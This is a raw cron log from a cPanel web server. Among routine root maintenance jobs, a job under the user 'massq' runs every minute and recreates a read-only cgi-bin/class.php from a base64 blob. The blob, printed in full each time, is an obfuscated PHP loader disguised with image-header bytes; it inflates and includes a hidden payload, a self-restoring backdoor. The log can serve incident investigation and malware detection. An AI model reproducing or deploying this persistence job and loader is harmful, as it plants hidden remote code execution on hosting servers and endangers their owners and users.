Sep 10 22:10:01 server CROND[6075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:10:01 server CROND[6076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:10:01 server CROND[6080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:10:01 server CROND[6077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:10:01 server CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:10:01 server CROND[6079]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:10:01 server CROND[6084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:11:01 server CROND[6908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:11:01 server CROND[6909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:11:01 server CROND[6910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:12:01 server CROND[7281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:12:01 server CROND[7282]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:12:01 server CROND[7283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:12:01 server CROND[7284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:13:01 server CROND[7745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:13:01 server CROND[7746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:13:01 server CROND[7747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:14:01 server CROND[8110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:14:01 server CROND[8111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:14:01 server CROND[8112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:15:01 server CROND[8488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:15:01 server CROND[8490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:15:01 server CROND[8493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:15:01 server CROND[8496]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 22:15:01 server CROND[8494]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:15:01 server CROND[8495]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 22:15:01 server CROND[8498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:15:01 server CROND[8492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:15:02 server CROND[8497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:16:01 server CROND[9308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:16:01 server CROND[9309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:16:01 server CROND[9310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:17:01 server CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:17:01 server CROND[9675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:17:01 server CROND[9676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:18:01 server CROND[10200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:18:01 server CROND[10201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:18:01 server CROND[10202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:19:01 server CROND[10639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:19:01 server CROND[10640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:19:01 server CROND[10641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:20:01 server CROND[11026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:20:01 server CROND[11027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:20:01 server CROND[11037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:20:01 server CROND[11040]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:20:01 server CROND[11043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:20:01 server CROND[11044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:20:01 server CROND[11041]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:20:01 server CROND[11042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:20:01 server CROND[11046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:21:01 server CROND[11912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
